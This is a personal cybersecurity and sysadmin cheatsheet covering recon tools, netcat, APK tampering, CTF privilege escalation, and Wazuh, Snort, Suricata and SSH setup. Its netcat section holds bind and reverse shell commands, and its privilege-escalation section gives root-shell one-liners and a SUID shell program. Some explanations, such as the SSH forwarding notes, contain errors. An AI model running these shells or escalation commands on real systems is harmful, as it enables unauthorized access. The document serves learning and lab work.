This is where I will write notes about different topics. Note that information included in this “cheatsheet” could have change after it was added to the cheatsheet. I will do my best to keep it updated.

Table of Contents

Tools

cURL

cURL is very useful. You make requests to any site. You can make other request using different protocols, like FTP, SFTP, SCP, Telnet, etc…

Get Headers

This will make a single get request to the given URL and it will respond with the server headers. This could be used to attempt to determine what softwares the site is using. Like the name of the web server and other data that could help out trouble shooting or recon.

curl -I example.com

Making A Request Without SSL verification

The -k argument will make the request without SSL verification. Useful for testing SSL inside networks that might use content filtering.

curl -k example.com -I

Netcat

Port Scan An IP on Single Port

This command will perform a port scan on the given IP on port 22

nc -zv 192.168.1.10 22

Port Scan Multiple Ports

Instead of just scanning one port, the following command will scan a range of ports.

nc -zv 192.168.1.111 20-80

Grabbing the Banner

To grab the banner of server you should use the -v flag when using netcat. A banner is information about the service.

Depending on the port, service or configuration it could change or be modified. But the banner information might give you the version of the service or the name of the webservers being used.

nc -v 192.168.1.1 22

Shell

Create Binding Server

This will be the listening server, meaning that we will use it to enter commands that will be ran on the on the other host.

nc -lvp 5555 -e /bin/bash

The -l argument tells it to listen. The -v will use the verbose mode. The -p argument tells it to listen on port 5555. The -e argument will run a external program after accepting a connection, in this case /bin/bash.

Create the Reverse Shell

The command connects to the binding server on port 5555. Now we can enter commands on the binding server and it will be ran on the machine that you ran the command below on.

nc 192.168.1.33 5555 -e /bin/bash

Transfering A File With Netcat

This command could be used to transfer files across a network. Note that it is not encrypted so it could be intercepted.

nc -l -p 3333 > file.txt

The command above will create a listening server on port 3333 and save the transferred file with the filename of file.txt. This is the receiving part of the transfer.

This command connects to the server created by the command above on the port of 3333.

nc 192.168.1.160 3333 < send.txt

It will send a file named send.txt to the server. The file should be in the same folder or the full file path should be used.

Starting a Server using Netcat

The command below will create a unencrypted Server on port 4444.

nc -lvp 4444

The following command could be used to connect to the server. You will need to be on the same network or have the IP accessible on the Internet.

nc 192.168.1.50 4444

Change the IP 192.168.1.501 to the IP of the machine that the command above is ran on.

Masscan

Masscan is a VERY fast port scanner. You could scan the entire Internet in minutes assuming you have a very fast network speed and a fast computer.

Scanning All TCP Ports.

If you did not know there are 65,535 ports available when using TCP.

sudo masscan -p1-65535 188.226.128.0/18 --rate 100
sudo masscan -p80 --banners 192.168.1.1

Subdomain3

Installing subdomain3.

The tool can be found here on Github.

git clone https://github.com/yanxiu0614/subdomain3.git

pip install -r requirement.txt

python2/3 brutedns.py -d tagetdomain -s high -l 5

Fixing ModuleNotFoundError: No module named ‘gevent’.

This command can be used to fix the no module named gevent problem.

sudo apt-get install python3-gevent

Wget download

The following command will recursively download files. This will download all the files, it will follow every link.

wget -r example.com

OpenDoor

This toll can be found here on GitHub.

Scanning a website.

This will use the program’s default list.

python3 opendoor.py --host example.com

Scanning a website with a custom list.

You can find all types of lists at Sec List on Github. You can use wget to download the file. You must use the raw link.

python3 opendoor.py --host example.com -w path_of_list.txt

This tool can be found here on GitHub.

Scanning A Website

python3 dirsearch.py -u https://example.com

Scanning For Certain Extensions

This exact command will check for php, html and js files on the target site.

python3 dirsearch.py -e php,html,js -u https://example.com

Custom WordList

python3 dirsearch.py -u https://example.com -w wordlist_path

apktool

source: https://github.com/iBotPeaches/Apktool/issues/2149

apktool d -f -r example.apk -o example

Signing The APK

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name

Creating Keys to Sign

source

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

Decompile An APK

apktool d test.apk

Compile An APK

The folder_name is the folder where the decompiled apk is located.

apktool b folder_name

Android Intercepting HTTP

Configure on-device developer options

Rooting Bluestacks

Bluestacks is a Android emulator which means its acts like an Android. You can run APKs on them without even owning an Android. You can run it on your Windows machine or other Operating Systems.

By default BlueStacks does not come pre rooted. Actually I read that the newer versions of BlueStack will not work correctly if you try to root them. That to solve the problem you will need to install a older version.

BlueStacks can be used by developers who need to test their app but do not own an Android. Or even by a gamer who wants to play the game on their PC.

Rooting Bluestacks is a little different than how you would root a phone. See below where I shared two links, they go to the same site but the first one is a archive.ph link of the second link incase the guide gets deleted there will always be a copy.

Cert Pinning

When attempting to intercept this one particular app on my own Android, I was unable to intercept the traffic.

For whatever reason, maybe it was because my phone is not rooted. The problem was that the the particular app I was using site was using Certificate pinning which made it not trust the traffic I generated because it was encrypted with a cert not known the site.

Certificate pinning is where a site will only accept requests as valid from a certificate that they know. A site that does not use cert pinning will accept any cert as trusted. Cert pinning is often used when the data being sent is very sensitive like banking information or medical information because it can prevent Man in the Middle attacks.

One method to get around certificate pinning is to use Frida intercept the exchange of public keys to make the app think that our certificate is the trusted on instead of the apps cert. This is important because we can use the private key of our cert to decrypt the traffic.

We do not have the private key to the real cert that the app is using so we cannot decrypt the traffic without intercepting the exchange and replacing the App’s real cert with ours.

Enabling ADB on Android Emulator

You will need to go to the gear icon on the top. Next hit the Advanced ta and turn on the toggle named Android Debug Bridge. Lastly hit the save button.

Usually the IP is 127.0.0.1 and the port is 5555.

Now on your host device (Windows) use adb.exe and the connect command to connect to the device by adb. See below for example.

adb.exe connect 127.0.0.1:5555

Adb Commands

If an error comes up and your host machine is Windows, instead of typing adb type adb.exe.

Start ADB Server

This is needed so that the rooted Android device can make requests to ADB. By default it open a connection on port 5555.

adb start-server

Get Devices Serials

Finding the android device. You will need the serial to be able to get shell of the android.

adb devices

Checking If Android is Rooted

First you will need to run the following command to get a shell on the android.

adb shell

Next run one of these commands. If the device is rooted correctly, it will change from $ to # or will display the word root.

su root whoami
su -c whoami
whoami

Disconnect Device

This command will connect ALL devices.

adb disconnect

This will only disconnect a device that is given. Remove the < & > and replace it with the serial of the device.

adb -s <device_name> disconnect

Pushing A File to Device.

This will push a file to the Android device.

adb push <local_path> <remote_path>

Connect To ADB by IP

After configuring your Android device to be in development mode, by default you can connect to the device by using the IP of 127.0.0.1 and the port of 5555.

adb.exe connect localhost:5555
  • https://httptoolkit.com/docs/guides/android/
  • https://httptoolkit.com/docs/guides/android/#intercepting-traffic-from-your-own-android-app

Privilege Escalation

This could be used during CTFs. I have used these commands before when working on a challenge. Check the results with the information stored at gtfo.org.

Finding SUID Executables

find / -perm -u=s -type f 2>/dev/null

Checks for executables with 4000 permissions that could be used to to get root permissions.

  • -type f : Will Look for regular files
find / -perm -4000 -type f 2

Listing all files with the SUID permission, check gtfo.org to see if any executables can be used to obtain root.

find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null

Another way of finding possible binaries that could be used to get root. Each line is a different command that can be used to find binaries that could be used to get root.

sudo find . -exec /bin/sh \; -quit
find / -perm -4000 -exec ls -l {} \;
find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -4000 -user root -ls 2>/dev/null
find / -type f -perm -u=s -user root -ls 2>/dev/null

Finding SGID Binaries

This is very similar to finding and using SUID binaries to get root on a box.

They too use the find command to find said binaries.

find / -type f -perm -2000 2>/dev/null
find / -type f -perm -g=s 2>/dev/null

find / -type f -perm -2000 -user root -ls 2>/dev/null
find / -type f -perm -g=s -user root -ls 2>/dev/null

Creating Your Own SUID Binary

print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c   
gcc -o /tmp/suid /tmp/suid.c  
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit

Using Tools To Get Shell

Using VIM To Get A Shell

sudo vim -c '!sh'
sudo -u root vim -c '!sh'

Using Tmux To Get A Shell

In the past I used this to be able to read a file that contained the flag that was protected by root. There was a Tmux session running that has root access.

export TMUX=/tmp/tmux-1000/default,1234,0 
tmux ls

Another way of determining if there is a tmux process is running as root is the following command.

 ps aux | grep tmux

First task is to see all the processes running under root using the following command:

ps -u root

The output of the command above will show the following:

/usr/bin/tmux -S /.root/vulnerable_session

Now you should have root if the process is running root. Use the id command to confirm your access.

Using Python To Escalate Privilege

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Using Ruby To Escalate Privilege

First we use the find command to see if there are any Ruby executables that are running as root.

find / -perm -u=s -type f 2>/dev/null | grep ruby

Here is yet another way of attempting to Escalate Privilege.

/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"' 

Another way of abusing Ruby is to use sudo -l to see if the output looks something like the following:

(root) NOPASSWD: /usr/bin/ruby

If it shows that then this command can be ran.

sudo ruby -e 'exec "/bin/bash"'

Mail Cow

Location Of MailCow

The Location of MailCow is cd /opt/mailcow-dockerized.

It uses docker.

Viewing The Logs of the MailCow Server

You will need to change folders to where your MailCow server is located. It is probably at /opt/mailcow-dockerized.

docker compose logs -f --tail=100

The command uses the tail and -f arguments to make force it open and show the last 100 entries. It will keep running until you will close the command. Any activity will show on your screen. This includes any requests to your mail server.

Updating MailCow

Like any software there are updates. The following command can be used to update the MailCow instance.

You will need to change folders to the location of your MailCow instance.

bash update.sh

Grep IPs

This command can be used to use a regex and grep to save all the IPs that connected to the mail server.

docker compose logs | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

Grep Save To File

This command will use grep to get all the IPs in the logs. then add the IPs to a file that will be created that includes the date and time of when the command is ran.

An example of the file is: 07-30-2026-12-06-54-AM.txt.

docker compose logs | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > "$(date +'%m-%d-%Y-%I-%M-%S-%p').txt"

Bash File That Gets All IPs From Logs

current_date="$(date +'%m-%d-%Y-%I-%M-%S-%p').txt"
current_date_uniq="$(date +'%m-%d-%Y-%I-%M-%S-%p')_unqiue.txt"


echo  -e "Created the two files..."
echo "Reading MailCow Logs... Looking for IPs..."
docker compose logs | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $current_date

# removes an dup ips
echo "Finished saving the IPs in a file named $current_date_uniq..."
sort -u $current_date -o $current_date_uniq
echo "All done sorting..."

TailScale

Keeping It Running When Not Logged In Windows

The source is from here.

  • Right click the Tails Icon on the Windows system tray.
  • Click Preferences
  • Click the Run unattended option

Command line

You can run this with PowerShell or just cmd.exe

tailscale up --unattended=true

Wazuh

File Locations

Files Location Windows
File LocationDescription
C:\Program Files (x86)\ossec-agent\ossec.confWindow’s Wazuh Config File Location
C:\Program Files (x86)\ossec-agent\ossec.logWindows’ Agent Log Location
C:\Program Files (x86)\ossec-agent\active-response\active-responses.logWazuh Active Responses Log Location Windows
Files Location Linux
File LocationDescription
/var/ossec/etc/ossec.confWazuh Config File
/var/ossec/logs/ossec.logLinux Agent Log
/var/ossec/logs/alerts/alerts.log Wazuh Agents Log Location
/var/ossec/logs/alerts/alerts.jsonWazuh Agents Alert Location
/var/ossec/logs/active-responses.logWazuh Active Responses Log Location Linux
/var/ossec/active-response/binThe Location on Linux where you put the active response script or executable
/var/ossec/ruleset/rules/Default Rules
Files Location Mac
File LocationDescription
/var/ossec/etc/rules/local_rules.xmlLocal Rules
/Library/Ossec/etc/ossec.confMac Config File Location
/Library/Ossec/logs/active-responses.logWazuh Active Responses Log Location Mac

Downloading Wazuh Password Tool

curl -sO https://packages.wazuh.com/4.14/wazuh-passwords-tool.sh

Windows Manipulating Wazuh Services

Windows Start Wazuh Service

NET START WazuhSvc

Restarting Agent On Windows (powershell)

You might need to open a PowerShell as an Administrator.

Restart-Service -Name wazuh

Check Wazuh Status Windows (powershell)

Get-Service -Name wazuhsvc

Stopping Wazuh Service On Windows

Stop-Service -Name wazuh

Finding Wazuh Services Using Windows Services Manager

First Type services into the search bar in the lower left corner of Windows. Another option to get to the same menu is to press Win + R then type services.msc and press enter.

Now locate any services that have the word wazuh or wazuhSvc.

Now right click the service and select your option.

Agents

Upgrading Manager & Agents

Using the following command will list all the agents that need to be upgraded.

sudo /var/ossec/bin/agent_upgrade -l

Next we have to use the following command to update a certain agent by the ID of the agent.

/var/ossec/bin/agent_upgrade -a 003

In the example above we upgraded the agent with the id 003.

Create An New Agent Group

The command below will create a new agent group with the name of Suricata.

sudo /var/ossec/bin/agent_groups -a -g Suricata -q

List All The Agents

sudo /var/ossec/bin/manage_agents -l

Adding An Agent ID To A Group

This command you must use command to list the agent IDs to get the agent you want to add to a group. You must also use the sudo /var/ossec/bin/agent_groups -a -g <AGENT_ID> -q command to create the new group BEFORE adding an agent to the group.

sudo /var/ossec/bin/agent_groups -a -i <AGENT_ID> -g <Group Name> -q

Checking If Everything Is Up

Uses nc to make a connection to the following ports.

  • 1514
  • 1515
  • 55000

Replace <ip> with the IP of the Wazuh Dashboard.

sudo nc -zv <ip> 1514 1515 55000

If the ports are open on the IP then it will display something like the following:

Connection to <ip> 1514 port [tcp/*] succeeded!
Connection to <ip> 1515 port [tcp/*] succeeded!
Connection to <ip> 55000 port [tcp/*] succeeded!

Upgrading With only-upgrade

Upgrading Dashboard

sudo apt-get install --only-upgrade wazuh-dashboard

Updating Manager

sudo apt-get install --only-upgrade wazuh-manager

Updating Indexer

sudo apt-get install --only-upgrade wazuh-indexer

Linux Manipulating Wazuh Services

This will allow the user to find all the services and then uses grep to only show services related to wazuh.

sudo systemctl list-units --type=service --all | grep wazuh

Restarting Wazuh-Manager service

systemctl restart wazuh-manager

Restarting wazuh-agent service

sudo systemctl restart wazuh-agent

Install Wazuh-agent and Setting WAZUH_MANAGER

You must change 10.0.0.2 to the IP of the Wazuh Manager. The agent will connect to that IP.

WAZUH_MANAGER="10.0.0.2" apt-get install wazuh-agent

Example of Adding Log Support

This shows how you can add log support. In this example we are adding the Suricata logs.

<localfile>
    <log_format>json</log_format>
    <location>/var/log/suricata/eve.json</location>
</localfile>

Bash Script To Start Wazuh Services

This can be used on Linux based systems to start up the Wazuh services.

function check_ssh () {
        echo "Starting up SSH...."
        # check to see if the SSH service is active...
        check_status="$(systemctl is-active ssh)"
        if [ "$check_status" = "active" ]; then
                echo -e "\e[1;32mSSH is active... Exiting.... \n\n\e[0m\n"
        else
                echo -e "\e[31SSH is not running... Starting now... \n\n\n\e[0m"
                # the SSH service is not active so we start it
                starting_ssh="$(sudo service ssh start)"
                echo -e "$starting_ssh \n\n\n\n"
        fi
}

function wazuh () {
        # create a array with the three names for wazuh.
        wazuh_services_name=("wazuh-dashboard.service" "wazuh-indexer.service" "wazuh-manager.service")
        for i in "${wazuh_services_name[@]}"
        do
                # check to see if the services in the array are active or inactive
                check_status="$(systemctl is-active $i)"
                if [ "$check_status" = "inactive" ]; then
                        echo -e "\e[31m$i is $check_status \n\n\n\e[0m\n"
                        echo -e "Starting $i... \n\n\n"
                        # remove .service from the service name so we can start the service again
                        service_name="${i%.*}"
                        # starts the service that was detected as being inactive
                        starting_service="$(sudo service $service_name start)"
                        echo "$starting_service"
                else
                        # the service is active
                        echo -e "\e[1;32m$i is $check_status \n\n\n\e[0m\n"
                fi
        done
}


check_ssh

wazuh

Uninstall Wazuh Bash Script

This bash script will remove all traces of Wazuh. This could be used if you do something that breaks it. You can remove all traces and then start out fresh.

sudo apt-get remove --purge wazuh-dashboard
sudo rm -rf /usr/share/wazuh-dashboard /etc/wazuh-dashboard /var/lib/wazuh-dashboard
sudo rm -rf /var/lib/dpkg/info/wazuh-*
sudo rm -rf /var/log/wazuh-dashboard
sudo deluser wazuh-dashboard
sudo delgroup wazuh-dashboard
apt-get update

echo "[=================================PURGE wazuh-manager========================================]"

apt-get remove --purge wazuh-manager -y
rm -rf /var/ossec/

echo "[====================================PURGE filebeat==========================================]"

apt-get remove --purge filebeat -y
rm -rf /var/lib/filebeat/
rm -rf /usr/share/filebeat/
rm -rf /etc/filebeat/

echo "[===================================PURGE wazuh-index========================================]"

apt-get remove --purge wazuh-indexer -y
rm -rf /var/lib/wazuh-indexer/
rm -rf /usr/share/wazuh-indexer/
rm -rf /etc/wazuh-indexer/

echo "[=====================================UPDATE=================================================]"
apt-get update

Issues And Solutions

API id [default]: 3099 – ERROR3099 – Invalid credentials

To fix this issue, look at the file of /usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml.

If the password has a randomly generated password, change it to wazuh-wui

The username should be the same.

ERROR: (4112): Invalid server address found: ‘MANAGER_IP’

Edit the /var/ossec/etc/ossec.conf file and replace MANAGER_IP with the IP of the manager.

<server>
   <address>MANAGER_IP</address>
   <port>1514</port>
   <protocol>tcp</protocol>
</server>

After making the change we have to restart the wazuh-agent service using the command below.

start wazuh-agent.service

Resetting Wazuh password

  • cannot use !
  • The password must have a length between 8 and 64 characters and contain at least one upper and lower case letter, a number and a symbol(.*+?-)
sudo ./wazuh-passwords-tool.sh -u admin -p <password>

Searching for Suricata Groups

This can be in Wazuh’s search feature to sort by a group, in this case a group named suricata.

rule.groups:suricata

Snort

Snort is a open source IDS/IPS. It has a bunch of useful features. Such as:

  • sniffer
  • packet logger
  • IDS
  • IPS
  • real-time monitoring
  • threat detection
  • Pcap File creating

Installing Snort Using APT

The commands below will first update and upgrade the machine. After updating and upgrading the system it will use apt to install snort. The -y argument will run it without user input.

sudo apt update && sudo apt upgrade -y
sudo apt install snort -y

File Locations

Linux
File LocationDescription
/etc/snort/snort.confLinux Snort Config
/var/log/snortLocation Of Logs
/etc/snort/rules/local.rulesCustom Rules Location
/etc/snort/rulesRules Location
Windows
File LocationDescription
C:\Snort\etc\snort.confConfig File
c:\snort\rulesRules
C:\Snort\bin\snort.exeSnort Exe
Mac
File LocationDescription
/etc/snort/snort.confConfig File
/usr/local/etc/snort/snort.confConfig File
/usr/local/bin/snortBinary Path
/usr/local/etc/snort/rules/Rules

Adding Snort To Wazuh’s Configuration

To connect Snort’s logs to the Wazuh Manager you will need to add the following text to the /var/ossec/etc/ossec.conf file.

<localfile>
  <log_format>snort-full</log_format>
  <location>/var/log/snort/snort.alert.fast</location>
</localfile>

The <location> tag can be changed to a different location or file that contains the Snort file.

Commands

Running Snort With eth0 interface

The -c argument is followed by the location of the snort.conf file. The -i argument tells snort to listen to the eth0 interface.

snort -c /etc/snort/snort.conf -i eth0

Display The Alerts On The Console

  • The -c argument gives the config file that will be used to match.
  • The -A stands for Alert-Mode and will need to be followed by the word console.
sudo snort -c /etc/snort/snort.conf -A console

Logging Traffic Into PCAP File

  • The -b argument will Log packets in a tcpdump formatted file.
  • The -L argument will take the given name and create a binary log file.
snort -b -L packets.pcap

Running Snort In Daemon mode

The -D arguments will run in the daemon mode which will send Alerts to /var/log/snort/alert but this can be changed easily by giving it a new value. This will allow you to run Snort in the background. This means you could exit the terminal.

sudo snort -c /etc/snort/snort.conf -D

Reading Generated Logs

The -r argument will read the given log file.

sudo snort -r <log file>

Config File Tester

snort -T -c /usr/local/etc/snort/snort.conf

Suricata

Files Location

File LocationDescription
/etc/suricata/suricata.yamlConfig File
/var/lib/suricata/rulesLocation of Rules
/var/log/suricata/eve.jsonMain Log Location ( JSON )
/var/log/suricata/fast.logAlert Log Location
/var/log/suricata/stats.logEngine Statistics
/var/log/suricata/suricata.logStart Up Log Location
/var/log/suricata/filestoreFile Extraction Location
/etc/suricata/rules/Standard location for static or distribution-provided rules.
/usr/share/suricata/rules/Read Only Rules
/etc/suricata/rules/local.rulesUser Created Rules

Installing Suricata Using APT

This will be used to install Suricata on a system.

sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt-get update
sudo apt-get install suricata -y

Download rules from emergingthreats.net

cd /tmp/ && curl -LO https://rules.emergingthreats.net/open/suricata-6.0.8/emerging.rules.tar.gz

Suricata’s Commands

More commands or arguments can be found here.

Updating Suricata

This will download the Emerging Threats Open ruleset. The rules will be downloaded to the /var/lib/suricata/rules/ directory.

It will also update the rules, this means if rules were added it will add the new rules to the current rules. This command should be ran frequently.

sudo suricata-update

Running Suricate With Config & Rules

sudo suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/local.rules

Test Configure File

suricata -T -c /etc/suricata/suricata.yaml

Restart Suricata Service

sudo systemctl restart suricata

Live View Of Fast Logs Using Tails

tail -f /var/log/suricata/fast.log

Aliases & Bashrc

Used in the .bashrc file. Don’t forget to use source .bashrc after editing the file.

Git Aliases

alias gs='git status'
alias ga='git add'
alias gc='git commit -m'
alias gp='git pull'

CD-ing Into Suricata Folder

alias rules='cd /var/lib/suricata/rules'

Disabling Ruby’s Debug

export RUBYOPT='-W0'

CD-ing Into Suricata Logs

alias slog='cd /var/log/suricata'

Windows Open Connections

Netstat

netstat -abno
Argument Description
aWill display all connections and ports
bWill show the app or exe that creating the open port
nDisplays the IP and Port
oDisplays the process ID

Linux Open Connections

Netstat – Getting Open Ports

ArgumentDescription
lList all listening ports
nPort number
tTCP Ports
uUDP Ports
netstat -lntu

SS Command – Get Open Connections

ArgumentDescription
lList all listening ports
nPort number
tTCP Ports
uUDP Ports
ss -lntua

Lsof Command – Find listening ports

sudo lsof -i -P -n | grep LISTEN

SCP

SCP can be used to copy files between hosts. SCP uses the SFTP protocol, this means that the transfer is encrypted so that a third party can intercept the traffic like it is possible with FTP. SCP uses SSH to create a secure tunnel between hosts that cannot be intercepted.

Copy From Remote to Local

scp username@from_host:remote_file.txt /local/directory/

Copy From Local to Remote

scp local_file.txt username@remote_host:/remote/directory/

Transfer File Locally To Remote With Custom Port

Sometimes the standard port of 22 is not the port used when connecting to a SSH server. This command will transfer a file locally to remote using the non standard port of 2222. But this port number can be changed to any number.

  • Port: 2222
  • File To Be transferred: local_file.txt
  • Remote Host IP: 192.168.1.33
  • Destination folder: money_bags
scp -P 2222 local_file.txt root@192.168.1.33:/money_bags

Copy Folders Recursively

This will copy an entire folder and its contents to the remote folder. This means that if there are other folders inside the given folder it will include all the files in the other folders as well. The -r is used to tell it to transfer the folders recursively.

  • The folders to be transfered: secret_sauce
  • The SSH user: root
  • The Remote IP: 127.0.0.1
  • The folder where the files will transferred to: new_secret_sauce
scp -r secret_sauce root@127.0.0.1:new_sauce_secret 

SSH

Set Up A SSH Alias

Instead of having to type out the whole IP and username you can set up SSH alias. While you still could use a alias command in .bashrc but you can also do it via the ~/.ssh/config file.

Host george
    HostName 192.168.1.1
    User root
    Port 22
    IdentityFile ~/.ssh/id_rsa

george is the alias for this server. You will need to call it to be able to access the SSH server.

Save the file and now test to see if you can connect to the server via SSH by running the following command:

ssh george

Using systemctl to see if SSH Service is Active

This will not show anything. To have it print the word active then you should remove the --quiet argument.

systemctl is-active --quiet ssh

Creating SSH Keys

The man page for SSH can be found here.

Password authentication for SSH is not secure. There are threat actors scanning the internet brute forcing all and any servers with SSH open to the public.

But you can prevent your server being hacked by using SSH keys. You should set it up so that you need BOTH the password and the correct key to access the server.

How SSH works is that your private key is stored on your local host or your host machine in the following folder:

~/.ssh/

The public key is stored on your server or remote machine in following location:

 ~/.ssh/authorized_keys

First run the following command to generate a key. You will need to move your mouse randomly to generate more random entropy.

This should be done on your host computer not the server. The ssh-copy-id will add your public key to the remote server.

ssh-keygen

For extra security it is recommended to set a secure passphrase for your private key. This will add extra protection that if your private key gets in the wrong hands, they will be unable to access your server because they would need to enter a password after the SSH server accepting the key.

You can use the follow example to use certain type of encryption and the size of the key. For maximum security it is highly recommended to generate keys with 3072 or 4096 bits by using the -b argument.

The -t argument tells the program to generate a key with a certain type algorithm. In the example below we used the RSA algorithm.

ssh-keygen -t rsa -b 4096

By default running the command above will create a new directory and file:

/home/your_username/.ssh/id_rsa

Next you have to copy your public key to the server where you want to connect to.

ssh-copy-id username@remote_host

If you do not have the ssh-copy-id program you can use the following command.

cat ~/.ssh/id_rsa.pub | ssh username@remote_host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"

SSHD Check Configuration

You should always run the following command before restarting the SSH service to prevent you from getting locked out of your SSH server.

sshd -T

Enabling Key Authentication with SSHD

This is were you edit the file on the remote server.

Now you have to use your favorite text editor to edit the following file.

/etc/ssh/sshd_config

Now that you have the SSHD config file open you should uncomment ( remove the # ) from the following lines:

PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

Now that you have changed the SSH config file for the change to take effect.

SSH File Locations

LocationPurpose
~/.ssh/configLocation where SSH config file are located. This folder can be abused so it needs certain read/write only for certain users while other users can read or write to it.
~/.ssh/id_ecdsa ~/.ssh/id_ecdsa_sk ~/.ssh/id_ed25519 ~/.ssh/id_ed25519_sk ~/.ssh/id_rsaDepending on what type of encryption you are using these folders will hold your private key.
Because these folders contain your private key, it too needs to have read/write permissions to only certain users and not accessible to other users.
~/.ssh/id_ecdsa.pub ~/.ssh/id_ecdsa_sk.pub ~/.ssh/id_ed25519.pub ~/.ssh/id_ed25519_sk.pub ~/.ssh/id_rsa.pub
This is where the public keys are stored depending what type of encryption you choose. Unlike the private keys, these are not sensitive and can be shared. They don’t require any special permissions.
~/.ssh/known_hostsAfter the first time connecting to a SSH server the host key is saved in this folder.
/etc/ssh/ssh_configThis is where the SSH config file is located. To enable different things this file will need be to edited. After changing any contents of this file you will need to restart the SSH service for the changes to take effect.

Changing The Port To A Non Standard Port

The standard port for SSH is usually TCP port 22. This guide will set up SSH for a port in which the SSH service does not use the standard port of 22.

This guide is assuming you are using SSHD. First you have to use your favorite text editor to edit the following file.

/etc/ssh/sshd_config

Next find the line in the config file that has #port22.

Next you have to remove the comment ( # ) from the line. Next change the number from 22 to the number you want the SSH service to be on. Now save and exit your text editor.

The last step is you need to use the following command to restart the SSHD service.

sudo service sshd restart

Another option is to run the following command which will also restart the SSH service.

sudo systemctl restart ssh
sudo systemctl restart sshd
Connecting To A Server with Non Standard Port

Since you set up the SSH server to use a non standard port, you will need to modify the SSH command usually used when you want to connect to the remote server. The following command is:

ssh -p 2222 user@hostname

The -p argument is needed to connect to the SSH server that in the example above is running on port 2222.

Connecting To SSH With A Certain Key

It would not be common to have multiple servers that you can SSH into. Best security practices would be that each server that you own would have a different SSH key file. This argument will take your SSH private key. Which you should never share with anyone.

If you were to use one key for every server and it gets in the wrong hands. This means that all you SSH servers are compromised. But if you use a different key file for each server only one of the server would be compromised.
The -i argument is need to specifically name the key file you want to use as seen below.

By default if you not use the -i argument it will use the ~/.ssh/id_rsa key by default. But with this argument you can change it to any of the files in your .ssh folder.

ssh -i /path/to/key root@hostname

Opening Ports On Linux

First you have to enable ufw before you open the port. The command below can be used to do just that.

sudo ufw enable
Open By Service
sudo ufw allow ssh
Open By Protocol & Port

If you set up the SSH service on a non standard port, replace the numbers 22 with the port you decided to use.

sudo ufw allow 22/tcp
Open By Port
sudo ufw allow 22
Checking The Status Of Ports
sudo ufw status
Allow SSH Connections From IP Range

This will add extra security to your system, meaning that only people in the given subnet will be able to access port 22. The 192.168.0.0/24 could be changed to a public or private IP or IP range.

sudo ufw allow from 192.168.0.0/24 to any port 22

Remote and Local Forwarding

SSH local Forwarding

Local forwarding the the polar opposite of remote forwarding. Local forwarding is when you forward a local port from your local machine to a machine that is remote.

Let’s say that you have a web server on your local machine on port 8080. You want to access that server on your remote computer that is being hosted on Digitalocean. You can connect to port 2233 on the remote server so that you can access the web server hosted on a the local machine.

But the local machine has a firewall which means that the remote server cannot connect to the local machine. This is where local forwarding comes in play.

  • Argument to local forward: -L
  • Local Port: 8080
  • Remote IP: 192.168.1.32
  • Remote Port: 2233
  • Remote Username: root
  • Remote IP: 192.168.1.32
ssl -L 8080:192.168.1.32:2233 root@192.168.1.32

Now on the remote server you can connect to the service hosted on local host by making a TCP connection on port 8080.

SSH Remote Forwarding

Remote forwarding, forwards the port given on the remote machine to a certain port on the local machine.

Like if you have a SQL server on the remote server, you need to connect to on your local machine but you do not want to to have the port open on the internet where anyone could brute force it or just login. With remote forwarding you can access the SQL server on your home computer. You just need to run the command on the remote server.

You will need to change the configuration file sshd_config from

GatewayPorts no

to the following:

GatewayPorts yes

The only problem is that lets any IP address to connect to the server if the server is on the public internet. This is super dangerous, anyone on the internet could connect to your server. But don’t fret, there is a solution!

You can make it only allow specific IPs by changing

GatewayPorts no

to the following:

GatewayPorts clientspecified

This will allow only the IP given in the command to connect to the server.

  • Argument to forward tunnel: -R
  • Remote Server Port: 8080
  • Remote server: localhost
  • public.example.com: The local address where the SSH traffic is forwarded to.
ssh -R 8080:localhost:80 public.example.com

The example above will forward the traffic to port 8080 on the remote server. You will run the command above on your local machine.

Troubleshooting SSH

This part of the cheatsheet has tips, tricks and ways for basic troubleshooting A SSH problem.


Common Problems With Permissions

These are some common errors that could occur or problems I have faced before. Your .ssh folder on your host machine will need to have the correct permissions or it will not allow you to SSH into your server.

When using ssh-keygen it should create a hidden folder named .ssh in your home directory. But if it does not for whatever reason, use the mkdir folder to create the folder and set it the correct permissions with the command below.

 mkdir -m 700 .ssh
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

When you run the ssh-keygen it will generate these files but if for whatever reason that you have issues or it did not create the files.

It will create a file named authorized_key where it stores the public key.

chmod 600 authorized_keys
chown -R username:username authorized_keys

We used the chmod command to make sure the file has the correct permissions. Next it will use the chown -R command to make sure it is accessible to the user. Change the username with your username.

Connection Timed Out

First make sure than the SSH server is pingable. Next make sure you opened the port on the SSH server’s firewall. The most common port used for SSH is port 22. But any other port could be used.

Using ufw you can make sure that the port is opened. First you have to enable ufw using the following command:

sudo ufw enable

Now that the firewall is enable you can use the following command to allow access on the TCP port of 22. This number can be changed if you are using a non standard port.

sudo ufw allow 22/tcp